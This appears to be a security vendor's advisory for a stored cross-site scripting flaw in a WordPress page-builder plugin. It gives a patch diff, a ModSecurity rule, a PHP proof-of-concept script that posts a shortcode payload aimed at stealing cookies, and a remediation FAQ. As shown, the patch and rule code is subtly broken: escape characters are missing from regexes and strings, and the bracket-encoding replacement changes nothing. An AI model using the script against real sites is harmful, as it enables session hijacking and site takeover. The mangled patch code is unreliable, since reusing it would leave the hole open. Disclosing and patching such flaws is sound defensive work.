
CVE-2026-133361: BlockStrap Page Builder <= 0.1.65 Unauthenticated Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule
CVE-2026-133361
0.1.65
0.1.66
Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/blockstrap-page-builder-blocks/blockstrap-page-builder-blocks.php
+++ b/blockstrap-page-builder-blocks/blockstrap-page-builder-blocks.php
@@ -11,8 +11,8 @@
* Plugin Name: BlockStrap Page Builder Blocks
* Plugin URI: https://ayecode.io/
* Description: BlockStrap - A FSE page builder for WordPress
- * Version: 0.1.65
- * Author: AyeCode
+ * Version: 0.1.66
+ * Author: AyeCode Ltd
* Author URI: https://ayecode.io
* Text Domain: blockstrap-page-builder-blocks
* Domain Path: /languages
@@ -21,7 +21,7 @@
*/
-define( 'BLOCKSTRAP_BLOCKS_VERSION', '0.1.65' );
+define( 'BLOCKSTRAP_BLOCKS_VERSION', '0.1.66' );
/**
* The BlockStrap Class
@@ -63,6 +63,12 @@
add_action( 'enqueue_block_editor_assets', [ $this, 'enqueue_editor_scripts' ], 1000 );
add_action( 'enqueue_block_assets', [ $this, 'enqueue_block_assets' ], 100 );
add_filter( 'render_block', [ $this, 'force_render_blocks_on_templates' ], 100000, 2 );
+
+ // Prevent visitor supplied comment data from being parsed as shortcodes/blocks by the render_block filter above.
+ add_filter( 'comment_text', [ $this, 'neutralize_untrusted_content' ], PHP_INT_MAX );
+ add_filter( 'get_comment_excerpt', [ $this, 'neutralize_untrusted_content' ], PHP_INT_MAX );
+ add_filter( 'get_comment_author', [ $this, 'neutralize_untrusted_content' ], PHP_INT_MAX );
+ add_filter( 'get_comment_author_url', [ $this, 'neutralize_untrusted_content' ], PHP_INT_MAX );
add_filter( 'ayecode-ui-settings', [ $this, 'aui_settings_overwrite' ], 10, 3 );
add_filter( 'ayecode-ui-default-settings', [ $this, 'aui_default_settings_overwrite' ], 10, 2 );
}
@@ -113,6 +119,11 @@
* @return mixed
*/
public function force_render_blocks_on_templates( $block_content, $block ) {
+ // Never parse shortcodes in blocks that output visitor supplied content.
+ if ( ! empty( $block['blockName'] ) && in_array( $block['blockName'], self::untrusted_content_blocks(), true ) ) {
+ return $block_content;
+ }
+
$block_content = strip_shortcodes(do_shortcode($block_content));
// @todo WP 6.2.1+ broke shortcodes, the order they added the code back broke other things, we need this till they revert it: https://core.trac.wordpress.org/ticket/58366#comment:37
@@ -122,6 +133,53 @@
}
/**
+ * Block names that output visitor supplied content and must not be parsed for shortcodes.
+ *
+ * @return array
+ */
+ public static function untrusted_content_blocks() {
+ return apply_filters(
+ 'blockstrap_blocks_untrusted_content_blocks',
+ array(
+ 'core/comment-content',
+ 'core/comment-author-name',
+ 'core/latest-comments',
+ )
+ );
+ }
+
+ /**
+ * Neutralize shortcodes and block delimiters in visitor supplied content (comments).
+ *
+ * The render_block filter runs do_shortcode() over every block's rendered HTML, which includes
+ * parent blocks (comment template, group, template part) that wrap visitor supplied text. Encoding
+ * the square brackets prevents that text from ever being executed as a shortcode while rendering
+ * identically in the browser. Block delimiter HTML comments are stripped so they can't be parsed
+ * as blocks.
+ *
+ * @param string $content The content.
+ *
+ * @return string
+ */
+ public function neutralize_untrusted_content( $content ) {
+ if ( ! is_string( $content ) || $content === '' ) {
+ return $content;
+ }
+
+ // Strip block delimiters.
+ if ( strpos( $content, '<!--' ) !== false ) {
+ $content = preg_replace( '/<!--s*/?wp:.*?-->/s', '', $content );
+ }
+
+ // Encode square brackets so shortcodes can't be executed.
+ if ( strpos( $content, '[' ) !== false || strpos( $content, ']' ) !== false ) {
+ $content = str_replace( array( '[', ']' ), array( '[', ']' ), $content );
+ }
+
+ return $content;
+ }
+
+ /**
* Enqueue scripts
*
* @return void
--- a/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/sd-functions.php
+++ b/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/sd-functions.php
@@ -3405,6 +3405,9 @@
if ( isset( $output_condition['message'] ) ) {
$content = $output_condition['message'] != '' ? __( stripslashes( $output_condition['message'] ), 'ayecode-connect' ) : $output_condition['message'];
+ // Sanitize the message to prevent XSS.
+ $content = is_scalar( $content ) ? wp_kses_post( (string) $content ) : '';
+
if ( ! empty( $output_condition['message_type'] ) ) {
$content = aui()->alert( array(
'type'=> $output_condition['message_type'],
--- a/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/sd-plugin.php
+++ b/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/sd-plugin.php
@@ -5,7 +5,7 @@
* @wordpress-plugin
* Plugin Name: Super Duper - Examples
* Description: This is a Hello World test plugin for WP Super Duper Class.
- * Version: 1.2.38
+ * Version: 1.2.39
* Author: AyeCode
* Author URI: https://ayecode.io
* Text Domain: super-duper
--- a/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/wp-super-duper.php
+++ b/blockstrap-page-builder-blocks/vendor/ayecode/wp-super-duper/wp-super-duper.php
@@ -5,7 +5,7 @@
if ( ! class_exists( 'WP_Super_Duper' ) ) {
- define( 'SUPER_DUPER_VER', '1.2.38' );
+ define( 'SUPER_DUPER_VER', '1.2.39' );
/**
* A Class to be able to create a Widget, Shortcode or Block to be able to output content for WordPress.
--- a/blockstrap-page-builder-blocks/vendor/composer/installed.php
+++ b/blockstrap-page-builder-blocks/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'ayecode/blockstrap-page-builder-blocks',
'pretty_version' => 'dev-main',
'version' => 'dev-main',
- 'reference' => '3c2853828c20adaec078dc17341e564d34e22d3e',
+ 'reference' => '2b813bf00ec78409b6871660c0a366af1b15037d',
'type' => 'project',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -22,7 +22,7 @@
'ayecode/blockstrap-page-builder-blocks' => array(
'pretty_version' => 'dev-main',
'version' => 'dev-main',
- 'reference' => '3c2853828c20adaec078dc17341e564d34e22d3e',
+ 'reference' => '2b813bf00ec78409b6871660c0a366af1b15037d',
'type' => 'project',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -56,9 +56,9 @@
'dev_requirement' => false,
),
'ayecode/wp-super-duper' => array(
- 'pretty_version' => '1.2.38',
- 'version' => '1.2.38.0',
- 'reference' => '270cee3b08b837b99fa62fd9fe1edbef087f5af8',
+ 'pretty_version' => '1.2.39',
+ 'version' => '1.2.39.0',
+ 'reference' => 'b9b03cf784ab3d655e2015bef3c9b447ef07a283',
'type' => 'library',
'install_path' => __DIR__ . '/../ayecode/wp-super-duper',
'aliases' => array(),
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-133361
# Blocks unauthenticated stored XSS via comment content by detecting shortcode payloads in comment submissions.
# The rule targets /wp-comments-post.php and inspects the 'comment' parameter for shortcode-like patterns.
# It uses a regex to match square brackets containing potentially dangerous shortcodes (e.g., [embed], [gallery], etc.).
SecRule REQUEST_URI "@streq /wp-comments-post.php"
"id:2026133361,phase:2,deny,status:403,chain,msg:'CVE-2026-133361 via BlockStrap comment XSS',severity:'CRITICAL',tag:'CVE-2026-133361'"
SecRule ARGS_POST:comment "@rx [(?:embed|gallery|video|audio|playlist|wp_*|.*?)].*?[/"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133361 - BlockStrap Page Builder <= 0.1.65 - Unauthenticated Stored XSS via Comment Content
// This PoC demonstrates the vulnerability by posting a comment with a shortcode payload.
// It assumes the attacker has previously had a comment approved for the same name and email.
// The payload uses the [embed] shortcode to inject JavaScript, which will execute when the comment is viewed.
$target_url = 'http://example.com'; // Change to the target WordPress site
$name = 'attacker';
$email = 'attacker@example.com';
$comment_content = '[embed]javascript:alert(document.cookie)[/embed]'; // Malicious shortcode
// Prepare the POST data
$post_data = array(
'comment' => $comment_content,
'author' => $name,
'email' => $email,
'url' => '',
'submit' => 'Post Comment',
'comment_post_ID' => 1, // Replace with a valid post ID
'comment_parent' => 0,
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Error: ' . curl_error($ch) . "n";
} else {
echo "Comment posted. Check the post page for XSS execution.n";
}
curl_close($ch);
Frequently Asked Questions
What is CVE-2026-133361?
Vulnerability overviewCVE-2026-133361 is a stored cross-site scripting vulnerability in the BlockStrap Page Builder – Bootstrap Blocks plugin for WordPress, affecting versions up to and including 0.1.65. It allows unauthenticated attackers to inject arbitrary JavaScript through comment content, which then executes when a user views the affected page. The issue is rated High severity with a CVSS score of 7.2 and is classified as CWE-79.
How does the vulnerability work?
Root cause and mechanismThe plugin’s force_render_blocks_on_templates method hooks into the render_block filter and runs do_shortcode() on every block’s rendered HTML, including blocks that display visitor-supplied comments. When a comment containing shortcode syntax is displayed, the shortcode is executed rather than treated as plain text. This allows an attacker to craft a comment payload that renders malicious script when the page is viewed.
Who is affected by this vulnerability?
Scope of impactAny WordPress site running BlockStrap Page Builder – Bootstrap Blocks version 0.1.65 or earlier is affected, provided the site uses a block theme, which is the WordPress default. Sites that have disabled comments or do not display comment content through block templates may not be exploitable in practice. Administrators should confirm both the plugin version and the active theme type.
Does the attacker need an account to exploit this?
Authentication requirementsNo account is required, but there is one precondition. The attacker must first have at least one comment approved for a specific name and email address, which under WordPress’s default policy allows subsequent comments from that author to bypass moderation. After that, the malicious comment can be submitted without authentication.
How can I check if my site is vulnerable?
Detection stepsCheck the plugin version in the WordPress admin under Plugins, or inspect the BLOCKSTRAP_BLOCKS_VERSION constant in blockstrap-page-builder-blocks.php. If the version is 0.1.65 or lower and the site uses a block theme, the site is potentially vulnerable. Reviewing recent comments for shortcode-like syntax can help identify prior exploitation attempts.
How do I fix the vulnerability?
Patch and update guidanceUpdate BlockStrap Page Builder – Bootstrap Blocks to version 0.1.66 or later, which is the patched release. The patch skips shortcode parsing for untrusted content blocks such as core/comment-content and neutralizes block delimiters and square brackets in comment data. Updating the plugin is the primary and recommended remediation.
What temporary mitigations are available if I cannot update immediately?
Interim workaroundsAdministrators can disable comments or restrict comment display until the plugin is updated. Another option is to switch to a classic theme, since exploitation is limited to block themes. These measures reduce exposure but do not address the underlying flaw, so updating remains necessary.
What does a CVSS score of 7.2 mean in practical terms?
Risk interpretationA score of 7.2 falls in the High severity range, indicating the vulnerability is serious and should be prioritized. In practice, it means an unauthenticated attacker can inject persistent script that runs in the browsers of visitors and administrators. The impact can include session hijacking, data theft, and site compromise, though exploitation requires the comment approval precondition.
What is the potential impact of successful exploitation?
Consequences of attackInjected JavaScript executes in the context of the affected site and can steal cookies or authentication tokens, redirect users to malicious sites, or deface pages. If an administrator views the injected page, the attacker may be able to perform administrative actions such as creating accounts or installing plugins. This can escalate to full site compromise.
How does the proof of concept demonstrate the issue?
PoC explanationThe PoC submits a comment containing a shortcode payload such as javascript:alert(document.cookie) to the site’s comment endpoint. It assumes a prior comment from the same name and email was approved to bypass moderation. When the comment is rendered, the plugin processes the shortcode and the script executes, illustrating the stored XSS behavior.
What does the patch change?
Patch analysisVersion 0.1.66 adds a check that skips shortcode parsing for blocks that output visitor-supplied content, including core/comment-content, core/comment-author-name, and core/latest-comments. It also adds filters on comment_text, get_comment_excerpt, get_comment_author, and get_comment_author_url that encode square brackets and strip block delimiters. Together these changes prevent comment data from being interpreted as shortcodes or blocks.
Are there signs that my site has already been exploited?
Post-compromise indicatorsReview comments for shortcode syntax, script tags, or encoded bracket sequences, and check for unexpected administrative accounts or plugin installations. Examining web server logs for unusual comment submissions can also help. If indicators are found, treat the site as compromised and perform a full security review.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations







